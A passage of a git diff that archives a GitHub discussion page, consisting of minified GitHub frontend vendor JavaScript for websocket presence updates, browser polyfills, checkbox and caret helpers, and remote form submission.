S=i(function(){x(A,R),D()},"n"),F=i(function(){D()},"i"),D=i(function(){removeEventListener("pointerup",S,g),removeEventListener("pointercancel",F,g)},"r");addEventListener("pointerup",S,g),addEventListener("pointercancel",F,g)}(T,P):x(T,P)}},"S"),z=i(function(P){["mousedown","keydown","touchstart","pointerdown"].forEach(function(T){return P(T,$,g)})},"w"),X=i(function(P,T){var A,R=s(),S=e("FID"),F=i(function(U){U.startTimeperformance.now())return;A.entries=[R],P(A)}catch{}},"t"),document.readyState==="complete"?setTimeout(T,0):addEventListener("load",function(){return setTimeout(T,0)})},"P")},27907:(N,M,E)=>{"use strict";E.d(M,{a:()=>l});var b=E(81855),_=E(60835),h=E(16544),v=E(75658),e=E(80955),o=E(29871),t;(function(u){u.Deploy="Alive Redeploy",u.Reconnect="Alive Reconnect"})(t||(t={}));function n(){return`${Math.round(Math.random()*(Math.pow(2,31)-1))}_${Math.round(Date.now()/1e3)}`}i(n,"generatePresenceId");function r(u){const a=u.match(/\/u\/(\d+)\/ws/);return a?+a[1]:0}i(r,"getUserIdFromSocketUrl");class l{constructor(a,s,c,m){this.url=a,this.getUrl=s,this.inSharedWorker=c,this.notify=m,this.subscriptions=new v.v,this.state="online",this.retrying=null,this.connectionCount=0,this.presence=new b.k2,this.presenceMetadata=new _.a,this.intentionallyDisconnected=!1,this.lastCameOnline=0,this.userId=r(a),this.presenceId=n(),this.presenceKey=(0,b.Hw)(this.userId,this.presenceId),this.socket=this.connect()}subscribe(a){const s=this.subscriptions.add(...a);this.sendSubscribe(s);for(const c of a){const m=c.topic.name;!(0,b.A)(m)||this.notifyCachedPresence(c.subscriber,m)}}unsubscribe(a){const s=this.subscriptions.delete(...a);this.sendUnsubscribe(s)}unsubscribeAll(...a){const s=this.subscriptions.drain(...a);this.sendUnsubscribe(s);const c=this.presenceMetadata.removeSubscribers(a);this.sendPresenceMetadataUpdate(c)}requestPresence(a,s){for(const c of s)this.notifyCachedPresence(a,c)}notifyCachedPresence(a,s){const c=this.presence.getChannelItems(s);c.length!==0&&this.notifyPresenceChannel(s,c)}updatePresenceMetadata(a){const s=new Set;for(const c of a)this.presenceMetadata.setMetadata(c),s.add(c.channelName);this.sendPresenceMetadataUpdate(s)}sendPresenceMetadataUpdate(a){if(!a.size)return;const s=[];for(const c of a){const m=this.subscriptions.topic(c);m&&s.push(m)}this.sendSubscribe(s)}online(){var a;this.lastCameOnline=Date.now(),this.state="online",(a=this.retrying)===null||a===void 0||a.abort(),this.socket.open()}offline(){var a;this.state="offline",(a=this.retrying)===null||a===void 0||a.abort(),this.socket.close()}shutdown(){this.inSharedWorker&&self.close()}get reconnectWindow(){const a=Date.now()-this.lastCameOnline<6e4;return this.connectionCount===0||this.intentionallyDisconnected||a?0:10*1e3}socketDidOpen(){this.intentionallyDisconnected=!1,this.connectionCount++,this.socket.url=this.getUrlWithPresenceId(),this.sendSubscribe(this.subscriptions.topics())}socketDidClose(a,s,c){if(this.redeployEarlyReconnectTimeout!==void 0&&clearTimeout(this.redeployEarlyReconnectTimeout),c==="Alive Reconnect")this.intentionallyDisconnected=!0;else if(c==="Alive Redeploy"){this.intentionallyDisconnected=!0;const d=(3+Math.random()*22)*60*1e3;this.redeployEarlyReconnectTimeout=setTimeout(()=>{this.intentionallyDisconnected=!0,this.socket.close(1e3,"Alive Redeploy Early Client Reconnect")},d)}}socketDidFinish(){this.state!=="offline"&&this.reconnect()}socketDidReceiveMessage(a,s){const c=JSON.parse(s);switch(c.e){case"ack":{this.handleAck(c);break}case"msg":{this.handleMessage(c);break}}}handleAck(a){for(const s of this.subscriptions.topics())s.offset=a.off}handleMessage(a){const s=a.ch,c=this.subscriptions.topic(s);if(!!c){if(c.offset=a.off,"e"in a.data){const m=this.presence.handleMessage(s,a.data);this.notifyPresenceChannel(s,m);return}a.data.wait||(a.data.wait=0),this.notify(this.subscriptions.subscribers(s),{channel:s,type:"message",data:a.data})}}notifyPresenceChannel(a,s){var c,m;const d=new Map;for(const p of s){const{userId:g,metadata:w,presenceKey:x}=p,I=d.get(g)||{userId:g,isOwnUser:g===this.userId,metadata:[]};if(x!==this.presenceKey){for(const $ of w){if(_.Z in $){I.isIdle!==!1&&(I.isIdle=Boolean($[_.Z]));continue}I.metadata.push($)}d.set(g,I)}}for(const p of this.subscriptions.subscribers(a)){const g=this.userId,w=Array.from(d.values()).filter($=>$.userId!==g),x=(m=(c=d.get(this.userId))===null||c===void 0?void 0:c.metadata)!==null&&m!==void 0?m:[],I=this.presenceMetadata.getChannelMetadata(a,{subscriber:p,markAllAsLocal:!this.inSharedWorker});this.notify([p],{channel:a,type:"presence",data:[{userId:g,isOwnUser:!0,metadata:[...x,...I]},...w]})}}async reconnect(){if(!this.retrying)try{this.retrying=new AbortController;const a=await(0,o.X)(this.getUrl,1/0,6e4,this.retrying.signal);a?(this.url=a,this.socket=this.connect()):this.shutdown()}catch(a){if(a.name!=="AbortError")throw a}finally{this.retrying=null}}getUrlWithPresenceId(){const a=new URL(this.url,self.location.origin);return a.searchParams.set("shared",this.inSharedWorker.toString()),a.searchParams.set("p",`${this.presenceId}.${this.connectionCount}`),a.toString()}connect(){const a=new h.Oo(this.getUrlWithPresenceId(),this,{timeout:4e3,attempts:7});return a.open(),a}sendSubscribe(a){const s=Array.from(a);for(const c of(0,e.o)(s,25)){const m={};for(const d of c)(0,b.A)(d.name)?m[d.signed]=JSON.stringify(this.presenceMetadata.getChannelMetadata(d.name)):m[d.signed]=d.offset;this.socket.send(JSON.stringify({subscribe:m}))}}sendUnsubscribe(a){const s=Array.from(a,c=>c.signed);for(const c of(0,e.o)(s,25))this.socket.send(JSON.stringify({unsubscribe:c}));for(const c of a)(0,b.A)(c.name)&&this.presence.clearChannel(c.name)}}i(l,"AliveSession")},29871:(N,M,E)=>{"use strict";E.d(M,{X:()=>v});function b(e){return new Promise((o,t)=>{const n=new Error("aborted");n.name="AbortError",e.aborted?t(n):e.addEventListener("abort",()=>t(n))})}i(b,"whenAborted");async function _(e,o){let t;const n=new Promise(r=>{t=self.setTimeout(r,e)});if(!o)return n;try{await Promise.race([n,b(o)])}catch(r){throw self.clearTimeout(t),r}}i(_,"wait");function h(e){return Math.floor(Math.random()*Math.floor(e))}i(h,"rand");async function v(e,o,t=1/0,n){const r=n?b(n):null;for(let l=0;l{"use strict";E.d(M,{A:()=>h.A,ZE:()=>_.Z,Zf:()=>e.Z,a2:()=>b.a,ah:()=>_.a,vk:()=>v.v});var b=E(27907),_=E(60835),h=E(81855),v=E(75658),e=E(72993)},80955:(N,M,E)=>{"use strict";E.d(M,{o:()=>b});function*b(_,h){for(let v=0;v<_.length;v+=h)yield _.slice(v,v+h)}i(b,"eachSlice")},60835:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b,a:()=>v});const b="_i";function _(e){return Object.assign(Object.assign({},e),{isLocal:!0})}i(_,"markMetadataAsLocal");class h{constructor(){this.subscriberMetadata=new Map}setMetadata(o,t){this.subscriberMetadata.set(o,t)}removeSubscribers(o){let t=!1;for(const n of o)t=this.subscriberMetadata.delete(n)||t;return t}getMetadata(o){if(!o){const l=[];let u;for(const a of this.subscriberMetadata.values())for(const s of a)if(b in s){const c=Boolean(s[b]);u=u===void 0?c:c&&u}else l.push(s);return u!==void 0&&l.push({[b]:u?1:0}),l}const t=[],{subscriber:n,markAllAsLocal:r}=o;for(const[l,u]of this.subscriberMetadata){const s=r||l===n?u.map(_):u;t.push(...s)}return t}hasSubscribers(){return this.subscriberMetadata.size>0}}i(h,"PresenceMetadataForChannel");class v{constructor(){this.metadataByChannel=new Map}setMetadata({subscriber:o,channelName:t,metadata:n}){let r=this.metadataByChannel.get(t);r||(r=new h,this.metadataByChannel.set(t,r)),r.setMetadata(o,n)}removeSubscribers(o){const t=new Set;for(const[n,r]of this.metadataByChannel)r.removeSubscribers(o)&&t.add(n),r.hasSubscribers()||this.metadataByChannel.delete(n);return t}getChannelMetadata(o,t){const n=this.metadataByChannel.get(o);return(n==null?void 0:n.getMetadata(t))||[]}}i(v,"PresenceMetadataSet")},81855:(N,M,E)=>{"use strict";E.d(M,{A:()=>v,Hw:()=>b,k2:()=>o});function b(t,n){return`${t}:${n}`}i(b,"getPresenceKey");function _(t){const[n,r]=t.p.split(".");return{userId:t.u,presenceKey:b(t.u,n),connectionCount:Number(r),metadata:t.m||[]}}i(_,"decompressItem");const h="presence-";function v(t){return t.startsWith(h)}i(v,"isPresenceChannel");class e{constructor(){this.presenceItems=new Map}shouldUsePresenceItem(n){const r=this.presenceItems.get(n.presenceKey);return!r||r.connectionCount<=n.connectionCount}addPresenceItem(n){!this.shouldUsePresenceItem(n)||this.presenceItems.set(n.presenceKey,n)}removePresenceItem(n){!this.shouldUsePresenceItem(n)||this.presenceItems.delete(n.presenceKey)}replacePresenceItems(n){this.presenceItems.clear();for(const r of n)this.addPresenceItem(r)}getPresenceItems(){return Array.from(this.presenceItems.values())}}i(e,"PresenceChannel");class o{constructor(){this.presenceChannels=new Map}getPresenceChannel(n){const r=this.presenceChannels.get(n)||new e;return this.presenceChannels.set(n,r),r}handleMessage(n,r){const l=this.getPresenceChannel(n);switch(r.e){case"pf":l.replacePresenceItems(r.d.map(_));break;case"pa":l.addPresenceItem(_(r.d));break;case"pr":l.removePresenceItem(_(r.d));break}return this.getChannelItems(n)}getChannelItems(n){return this.getPresenceChannel(n).getPresenceItems()}clearChannel(n){this.presenceChannels.delete(n)}}i(o,"AlivePresence")},75658:(N,M,E)=>{"use strict";E.d(M,{v:()=>_});var b=E(61268);class _{constructor(){this.subscriptions=new b.Z,this.signatures=new Map}add(...v){const e=[];for(const{subscriber:o,topic:t}of v)this.subscriptions.has(t.name)||(e.push(t),this.signatures.set(t.name,t)),this.subscriptions.set(t.name,o);return e}delete(...v){const e=[];for(const{subscriber:o,topic:t}of v)this.subscriptions.delete(t.name,o)&&!this.subscriptions.has(t.name)&&(e.push(t),this.signatures.delete(t.name));return e}drain(...v){const e=[];for(const o of v)for(const t of this.subscriptions.drain(o)){const n=this.signatures.get(t);this.signatures.delete(t),e.push(n)}return e}topics(){return this.signatures.values()}topic(v){return this.signatures.get(v)||null}subscribers(v){return this.subscriptions.get(v).values()}}i(_,"SubscriptionSet")},72993:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b});class b{constructor(h,v){this.name=h,this.signed=v,this.offset=""}static parse(h){const[v,e]=h.split("--");if(!v||!e)return null;const o=JSON.parse(atob(v));return!o.c||!o.t?null:new b(o.c,h)}}i(b,"Topic")},50232:(N,M,E)=>{"use strict";E.d(M,{nn:()=>ue,Gb:()=>ae});function b(L){const j=new AbortController;return j.abort(L),j.signal}i(b,"abortsignal_abort_abortSignalAbort");function _(){return"abort"in AbortSignal&&typeof AbortSignal.abort=="function"}i(_,"isSupported");function h(){return AbortSignal.abort===b}i(h,"isPolyfilled");function v(){_()||(AbortSignal.abort=b)}i(v,"apply");function e(L){const j=new AbortController;return setTimeout(()=>j.abort(new DOMException("TimeoutError")),L),j.signal}i(e,"abortsignal_timeout_abortSignalTimeout");function o(){return"abort"in AbortSignal&&typeof AbortSignal.timeout=="function"}i(o,"abortsignal_timeout_isSupported");function t(){return AbortSignal.timeout===e}i(t,"abortsignal_timeout_isPolyfilled");function n(){o()||(AbortSignal.timeout=e)}i(n,"abortsignal_timeout_apply");class r extends Error{constructor(j,W,K={}){super(W);Object.defineProperty(this,"errors",{value:Array.from(j),configurable:!0,writable:!0}),K.cause&&Object.defineProperty(this,"cause",{value:K.cause,configurable:!0,writable:!0})}}i(r,"AggregateError");function l(){return typeof globalThis.AggregateError=="function"}i(l,"aggregateerror_isSupported");function u(){return globalThis.AggregateError===r}i(u,"aggregateerror_isPolyfilled");function a(){l()||(globalThis.AggregateError=r)}i(a,"aggregateerror_apply");const s=Reflect.getPrototypeOf(Int8Array)||{};function c(L){const j=this.length;return L=Math.trunc(L)||0,L<0&&(L+=j),L<0||L>=j?void 0:this[L]}i(c,"arrayLikeAt");function m(){return"at"in Array.prototype&&typeof Array.prototype.at=="function"&&"at"in String.prototype&&typeof String.prototype.at=="function"&&"at"in s&&typeof s.at=="function"}i(m,"arraylike_at_isSupported");function d(){return Array.prototype.at===c&&String.prototype.at===c&&s.at===c}i(d,"arraylike_at_isPolyfilled");function p(){if(!m()){const L={value:c,writable:!0,configurable:!0};Object.defineProperty(Array.prototype,"at",L),Object.defineProperty(String.prototype,"at",L),Object.defineProperty(s,"at",L)}}i(p,"arraylike_at_apply");function g(){const L=new Uint32Array(4);crypto.getRandomValues(L);let j=-1;return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(W){j++;const K=L[j>>3]>>j%8*4&15;return(W==="x"?K:K&3|8).toString(16)})}i(g,"randomUUID");function w(){return typeof crypto=="object"&&"randomUUID"in crypto&&typeof crypto.randomUUID=="function"}i(w,"crypto_randomuuid_isSupported");function x(){return w()&&crypto.randomUUID===g}i(x,"crypto_randomuuid_isPolyfilled");function I(){w()||(crypto.randomUUID=g)}i(I,"crypto_randomuuid_apply");const $=EventTarget.prototype.addEventListener;function z(L,j,W){if(typeof W=="object"&&"signal"in W&&W.signal instanceof AbortSignal){if(W.signal.aborted)return;$.call(W.signal,"abort",()=>{this.removeEventListener(L,j,W)})}return $.call(this,L,j,W)}i(z,"addEventListenerWithAbortSignal");function X(){let L=!1;const j=i(()=>L=!0,"setSignalSupported");function W(){}i(W,"noop");const K=Object.create({},{signal:{get:j}});try{const V=new EventTarget;return V.addEventListener("test",W,K),V.removeEventListener("test",W,K),L}catch{return L}}i(X,"event_abortsignal_isSupported");function ee(){return EventTarget.prototype.addEventListener===z}i(ee,"event_abortsignal_isPolyfilled");function te(){typeof AbortSignal=="function"&&!X()&&(EventTarget.prototype.addEventListener=z)}i(te,"event_abortsignal_apply");const ne=Object.prototype.hasOwnProperty;function P(L,j){if(L==null)throw new TypeError("Cannot convert undefined or null to object");return ne.call(Object(L),j)}i(P,"object_hasown_objectHasOwn");function T(){return"hasOwn"in Object&&typeof Object.hasOwn=="function"}i(T,"object_hasown_isSupported");function A(){return Object.hasOwn===P}i(A,"object_hasown_isPolyfilled");function R(){T()||Object.defineProperty(Object,"hasOwn",{value:P,configurable:!0,writable:!0})}i(R,"object_hasown_apply");function S(L){return new Promise((j,W)=>{let K=!1;const V=Array.from(L),oe=[];function f(k){K||(K=!0,j(k))}i(f,"resolveOne");function y(k){oe.push(k),oe.length===V.length&&W(new globalThis.AggregateError(oe,"All Promises rejected"))}i(y,"rejectIfDone");for(const k of V)Promise.resolve(k).then(f,y)})}i(S,"promise_any_promiseAny");function F(){return"any"in Promise&&typeof Promise.any=="function"}i(F,"promise_any_isSupported");function D(){return Promise.all===S}i(D,"promise_any_isPolyfilled");function U(){F()||(Promise.any=S)}i(U,"promise_any_apply");const H=50;function B(L,j={}){const W=Date.now(),K=j.timeout||0,V=Object.defineProperty({didTimeout:!1,timeRemaining(){return Math.max(0,H-(Date.now()-W))}},"didTimeout",{get(){return Date.now()-W>K}});return window.setTimeout(()=>{L(V)})}i(B,"requestidlecallback_requestIdleCallback");function re(L){clearTimeout(L)}i(re,"cancelIdleCallback");function G(){return typeof globalThis.requestIdleCallback=="function"}i(G,"requestidlecallback_isSupported");function ce(){return globalThis.requestIdleCallback===B&&globalThis.cancelIdleCallback===re}i(ce,"requestidlecallback_isPolyfilled");function ie(){G()||(globalThis.requestIdleCallback=B,globalThis.cancelIdleCallback=re)}i(ie,"requestidlecallback_apply");const le=typeof Blob=="function"&&typeof PerformanceObserver=="function"&&typeof Intl=="object"&&typeof MutationObserver=="function"&&typeof URLSearchParams=="function"&&typeof WebSocket=="function"&&typeof IntersectionObserver=="function"&&typeof queueMicrotask=="function"&&typeof TextEncoder=="function"&&typeof TextDecoder=="function"&&typeof customElements=="object"&&typeof HTMLDetailsElement=="function"&&typeof AbortController=="function"&&typeof AbortSignal=="function"&&"entries"in FormData.prototype&&"toggleAttribute"in Element.prototype&&"replaceChildren"in Element.prototype&&"fromEntries"in Object&&"flatMap"in Array.prototype&&"trimEnd"in String.prototype&&"allSettled"in Promise&&"matchAll"in String.prototype&&"replaceAll"in String.prototype&&!0;function ae(){return le&&_()&&o()&&l()&&m()&&w()&&X()&&T()&&F()&&G()}i(ae,"lib_isSupported");function de(){return abortSignalAbort.isPolyfilled()&&abortSignalTimeout.isPolyfilled()&&aggregateError.isPolyfilled()&&arrayAt.isPolyfilled()&&cryptoRandomUUID.isPolyfilled()&&eventAbortSignal.isPolyfilled()&&objectHasOwn.isPolyfilled()&&promiseAny.isPolyfilled()&&requestIdleCallback.isPolyfilled()}i(de,"lib_isPolyfilled");function ue(){v(),n(),a(),p(),I(),te(),R(),U(),ie()}i(ue,"lib_apply")},58797:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b});function b(_){let h=!1,v=null;_.addEventListener("mousedown",n),_.addEventListener("change",o);function e(u,a,s,c=!1){a instanceof HTMLInputElement&&(a.indeterminate=c,a.checked!==s&&(a.checked=s,setTimeout(()=>{const m=new CustomEvent("change",{bubbles:!0,cancelable:!1,detail:{relatedTarget:u}});a.dispatchEvent(m)})))}i(e,"setChecked");function o(u){const a=u.target;a instanceof Element&&(a.hasAttribute("data-check-all")?t(u):a.hasAttribute("data-check-all-item")&&r(u))}i(o,"onChange");function t(u){if(u instanceof CustomEvent&&u.detail){const{relatedTarget:s}=u.detail;if(s&&s.hasAttribute("data-check-all-item"))return}const a=u.target;if(a instanceof HTMLInputElement){v=null;for(const s of _.querySelectorAll("[data-check-all-item]"))e(a,s,a.checked);a.indeterminate=!1,l()}}i(t,"onCheckAll");function n(u){if(!(u.target instanceof Element))return;(u.target instanceof HTMLLabelElement&&u.target.control||u.target).hasAttribute("data-check-all-item")&&(h=u.shiftKey)}i(n,"onMouseDown");function r(u){if(u instanceof CustomEvent&&u.detail){const{relatedTarget:m}=u.detail;if(m&&(m.hasAttribute("data-check-all")||m.hasAttribute("data-check-all-item")))return}const a=u.target;if(!(a instanceof HTMLInputElement))return;const s=Array.from(_.querySelectorAll("[data-check-all-item]"));if(h&&v){const[m,d]=[s.indexOf(v),s.indexOf(a)].sort();for(const p of s.slice(m,+d+1||9e9))e(a,p,a.checked)}h=!1,v=a;const c=_.querySelector("[data-check-all]");if(c){const m=s.length,d=s.filter(w=>w instanceof HTMLInputElement&&w.checked).length,p=d===m,g=m>d&&d>0;e(a,c,p,g)}l()}i(r,"onCheckAllItem");function l(){const u=_.querySelector("[data-check-all-count]");if(u){const a=_.querySelectorAll("[data-check-all-item]:checked").length;u.textContent=a.toString()}}return i(l,"updateCount"),{unsubscribe:()=>{_.removeEventListener("mousedown",n),_.removeEventListener("change",o)}}}i(b,"subscribe")},15205:(N,M,E)=>{"use strict";E.d(M,{Z:()=>_});function b(...h){return JSON.stringify(h,(v,e)=>typeof e=="object"?e:String(e))}i(b,"defaultHash");function _(h,v={}){const{hash:e=b,cache:o=new Map}=v;return function(...t){const n=e.apply(this,t);if(o.has(n))return o.get(n);let r=h.apply(this,t);return r instanceof Promise&&(r=r.catch(l=>{throw o.delete(n),l})),o.set(n,r),r}}i(_,"memoize")},61268:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b});class b{constructor(h){if(this.map=new Map,h)for(const[v,e]of h)this.set(v,e)}get(h){const v=this.map.get(h);return v||new Set}set(h,v){let e=this.map.get(h);return e||(e=new Set,this.map.set(h,e)),e.add(v),this}has(h){return this.map.has(h)}delete(h,v){const e=this.map.get(h);if(!e)return!1;if(!v)return this.map.delete(h);const o=e.delete(v);return e.size||this.map.delete(h),o}drain(h){const v=[];for(const e of this.keys())this.delete(e,h)&&!this.has(e)&&v.push(e);return v}keys(){return this.map.keys()}values(){return this.map.values()}entries(){return this.map.entries()}[Symbol.iterator](){return this.entries()}clear(){this.map.clear()}get size(){return this.map.size}}i(b,"MultiMap")},16544:(N,M,E)=>{"use strict";E.d(M,{Oo:()=>l});async function b(d,p){let g;const w=new Promise((x,I)=>{g=self.setTimeout(()=>I(new Error("timeout")),d)});if(!p)return w;try{await Promise.race([w,v(p)])}catch(x){throw self.clearTimeout(g),x}}i(b,"timeout");async function _(d,p){let g;const w=new Promise(x=>{g=self.setTimeout(x,d)});if(!p)return w;try{await Promise.race([w,v(p)])}catch(x){throw self.clearTimeout(g),x}}i(_,"wait");async function h(d,p,g=1/0,w){const x=w?v(w):null;for(let I=0;I{const w=new Error("aborted");w.name="AbortError",d.aborted?g(w):d.addEventListener("abort",()=>g(w))})}i(v,"whenAborted");function e(d){return Math.floor(Math.random()*Math.floor(d))}i(e,"rand");async function o(d,p,g){const w=new WebSocket(d),x=r(w);try{return await Promise.race([x,b(p,g)]),w}catch(I){throw t(x),I}}i(o,"connect");async function t(d){try{(await d).close()}catch{}}i(t,"shutdown");function n(d,p){return h(i(()=>o(d,p.timeout,p.signal),"fn"),p.attempts,p.maxDelay,p.signal)}i(n,"connectWithRetry");function r(d){return new Promise((p,g)=>{d.readyState===WebSocket.OPEN?p(d):(d.onerror=()=>{d.onerror=null,d.onopen=null,g(new Error("connect failed"))},d.onopen=()=>{d.onerror=null,d.onopen=null,p(d)})})}i(r,"whenOpen");class l{constructor(p,g,w){this.socket=null,this.opening=null,this.url=p,this.delegate=g,this.policy=w}async open(){if(this.opening||this.socket)return;this.opening=new AbortController;const p=Object.assign(Object.assign({},this.policy),{signal:this.opening.signal});try{this.socket=await n(this.url,p)}catch{this.delegate.socketDidFinish(this);return}finally{this.opening=null}this.socket.onclose=g=>{this.socket=null,this.delegate.socketDidClose(this,g.code,g.reason),(this.delegate.socketShouldRetry?!this.delegate.socketShouldRetry(this,g.code):a(g.code))?this.delegate.socketDidFinish(this):setTimeout(()=>this.open(),u(100,100+(this.delegate.reconnectWindow||50)))},this.socket.onmessage=g=>{this.delegate.socketDidReceiveMessage(this,g.data)},this.delegate.socketDidOpen(this)}close(p,g){this.opening?(this.opening.abort(),this.opening=null):this.socket&&(this.socket.onclose=null,this.socket.close(p,g),this.socket=null,this.delegate.socketDidClose(this,p,g),this.delegate.socketDidFinish(this))}send(p){this.socket&&this.socket.send(p)}isOpen(){return!!this.socket}}i(l,"StableSocket");function u(d,p){return Math.random()*(p-d)+d}i(u,"rand$1");function a(d){return d===s||d===c}i(a,"isFatal");const s=1008,c=1011;class m{constructor(p){this.buf=[],this.socket=p,this.delegate=p.delegate,p.delegate=this}open(){return this.socket.open()}close(p,g){this.socket.close(p,g)}send(p){this.socket.isOpen()?(this.flush(),this.socket.send(p)):this.buf.push(p)}isOpen(){return this.socket.isOpen()}flush(){for(const p of this.buf)this.socket.send(p);this.buf.length=0}socketDidOpen(p){this.flush(),this.delegate.socketDidOpen(p)}socketDidClose(p,g,w){this.delegate.socketDidClose(p,g,w)}socketDidFinish(p){this.delegate.socketDidFinish(p)}socketDidReceiveMessage(p,g){this.delegate.socketDidReceiveMessage(p,g)}socketShouldRetry(p,g){return this.delegate.socketShouldRetry?this.delegate.socketShouldRetry(p,g):!a(g)}}i(m,"BufferedSocket")},89900:(N,M,E)=>{"use strict";E.d(M,{Z:()=>v});const b=["direction","boxSizing","width","height","overflowX","overflowY","borderTopWidth","borderRightWidth","borderBottomWidth","borderLeftWidth","borderStyle","paddingTop","paddingRight","paddingBottom","paddingLeft","fontStyle","fontVariant","fontWeight","fontStretch","fontSize","fontSizeAdjust","lineHeight","fontFamily","textAlign","textTransform","textIndent","textDecoration","letterSpacing","wordSpacing","tabSize","MozTabSize"],h=typeof window!="undefined"&&window.mozInnerScreenX!=null;function v(e,o,t){const n=t&&t.debug||!1;if(n){const m=document.querySelector("#input-textarea-caret-position-mirror-div");m&&m.parentNode.removeChild(m)}const r=document.createElement("div");r.id="input-textarea-caret-position-mirror-div",document.body.appendChild(r);const l=r.style,u=window.getComputedStyle?window.getComputedStyle(e):e.currentStyle,a=e.nodeName==="INPUT";l.whiteSpace="pre-wrap",a||(l.wordWrap="break-word"),l.position="absolute",n||(l.visibility="hidden");for(const m of b)if(a&&m==="lineHeight")if(u.boxSizing==="border-box"){const d=parseInt(u.height),p=parseInt(u.paddingTop)+parseInt(u.paddingBottom)+parseInt(u.borderTopWidth)+parseInt(u.borderBottomWidth),g=p+parseInt(u.lineHeight);d>g?l.lineHeight=`${d-p}px`:d===g?l.lineHeight=u.lineHeight:l.lineHeight=0}else l.lineHeight=u.height;else if(!a&&m==="width"&&u.boxSizing==="border-box"){let d=parseFloat(u.borderLeftWidth)+parseFloat(u.borderRightWidth),p=h?parseFloat(u[m])-d:e.clientWidth+d;l[m]=`${p}px`}else l[m]=u[m];h?e.scrollHeight>parseInt(u.height)&&(l.overflowY="scroll"):l.overflow="hidden",r.textContent=e.value.substring(0,o),a&&(r.textContent=r.textContent.replace(/\s/g,"\xA0"));const s=document.createElement("span");s.textContent=e.value.substring(o)||".",r.appendChild(s);const c={top:s.offsetTop+parseInt(u.borderTopWidth),left:s.offsetLeft+parseInt(u.borderLeftWidth),height:parseInt(u.lineHeight)};return n?s.style.backgroundColor="#aaa":document.body.removeChild(r),c}i(v,"getCaretCoordinates")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537-40f081c90ea1.js.map \ No newline at end of file diff --git a/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js new file mode 100644 index 0000000..7337406 --- /dev/null +++ b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var j=Object.defineProperty;var n=(M,C)=>j(M,"name",{value:C,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3"],{65935:(M,C,$)=>{$.d(C,{AC:()=>T,rK:()=>S,uT:()=>f});function _(s,r){const c=s.createElement("template");return c.innerHTML=r,s.importNode(c.content,!0)}n(_,"parseHTML");function x(s){const r=new URLSearchParams,c=new FormData(s).entries();for(const[b,h]of[...c])r.append(b,h.toString());return r.toString()}n(x,"serialize");class i extends Error{constructor(r,c){super(r);this.response=c}}n(i,"ErrorWithResponse");function g(){let s,r;return[new Promise(function(b,h){s=b,r=h}),s,r]}n(g,"makeDeferred");let m;const v=[],d=[];function f(s){v.push(s)}n(f,"afterRemote");function S(s){d.push(s)}n(S,"beforeRemote");function T(s,r){m||(m=new Map,document.addEventListener("submit",O));const c=m.get(s)||[];m.set(s,[...c,r])}n(T,"remoteForm");function q(s,r){if(m){const c=m.get(s)||[];m.set(s,c.filter(b=>b!==r))}}n(q,"remoteUninstall");function N(s){const r=[];for(const c of m.keys())if(s.matches(c)){const b=m.get(c)||[];r.push(...b)}return r}n(N,"getMatches");function O(s){if(!(s.target instanceof HTMLFormElement)||s.defaultPrevented)return;const r=s.target,c=N(r);if(c.length===0)return;const b=P(r),[h,A,E]=g();s.preventDefault(),L(c,r,b,h).then(async a=>{if(a){for(const l of d)await l(r);R(b).then(A,E).catch(()=>{}).then(()=>{for(const l of v)l(r)})}else r.submit()},a=>{r.submit(),setTimeout(()=>{throw a})})}n(O,"handleSubmit");async function L(s,r,c,b){let h=!1;for(const A of s){const[E,a]=g(),l=n(()=>(h=!0,a(),b),"kick"),w={text:l,json:()=>(c.headers.set("Accept","application/json"),l()),html:()=>(c.headers.set("Accept","text/html"),l())};await Promise.race([E,A(r,w,c)])}return h}n(L,"processHandlers");function P(s){const r={method:s.method||"GET",url:s.action,headers:new Headers({"X-Requested-With":"XMLHttpRequest"}),body:null};if(r.method.toUpperCase()==="GET"){const c=x(s);c&&(r.url+=(~r.url.indexOf("?")?"&":"?")+c)}else r.body=new FormData(s);return r}n(P,"buildRequest");async function R(s){const r=await window.fetch(s.url,{method:s.method,body:s.body!==null?s.body:void 0,headers:s.headers,credentials:"same-origin"}),c={url:r.url,status:r.status,statusText:r.statusText,headers:r.headers,text:"",get json(){const h=this,A=JSON.parse(h.text);return delete h.json,h.json=A,h.json},get html(){const h=this;return delete h.html,h.html=_(document,h.text),h.html}},b=await r.text();if(c.text=b,r.ok)return c;throw new i("request failed",c)}n(R,"remoteSubmit")},90420:(M,C,$)=>{$.d(C,{Lj:()=>s,Ih:()=>w,fA:()=>N,GO:()=>O});const _=new WeakSet;function x(e){_.add(e),e.shadowRoot&&i(e.shadowRoot),v(e),m(e.ownerDocument)}n(x,"bind");function i(e){v(e),m(e)}n(i,"bindShadow");const g=new WeakMap;function m(e=document){if(g.has(e))return g.get(e);let t=!1;const o=new MutationObserver(p=>{for(const y of p)if(y.type==="attributes"&&y.target instanceof Element)S(y.target);else if(y.type==="childList"&&y.addedNodes.length)for(const k of y.addedNodes)k instanceof Element&&v(k)});o.observe(e,{childList:!0,subtree:!0,attributeFilter:["data-action"]});const u={get closed(){return t},unsubscribe(){t=!0,g.delete(e),o.disconnect()}};return g.set(e,u),u}n(m,"listenForBind");function v(e){for(const t of e.querySelectorAll("[data-action]"))S(t);e instanceof Element&&e.hasAttribute("data-action")&&S(e)}n(v,"bindElements");function d(e){const t=e.currentTarget;for(const o of f(t))if(e.type===o.type){const u=t.closest(o.tag);_.has(u)&&typeof u[o.method]=="function"&&u[o.method](e);const p=t.getRootNode();if(p instanceof ShadowRoot&&_.has(p.host)&&p.host.matches(o.tag)){const y=p.host;typeof y[o.method]=="function"&&y[o.method](e)}}}n(d,"handleEvent");function*f(e){for(const t 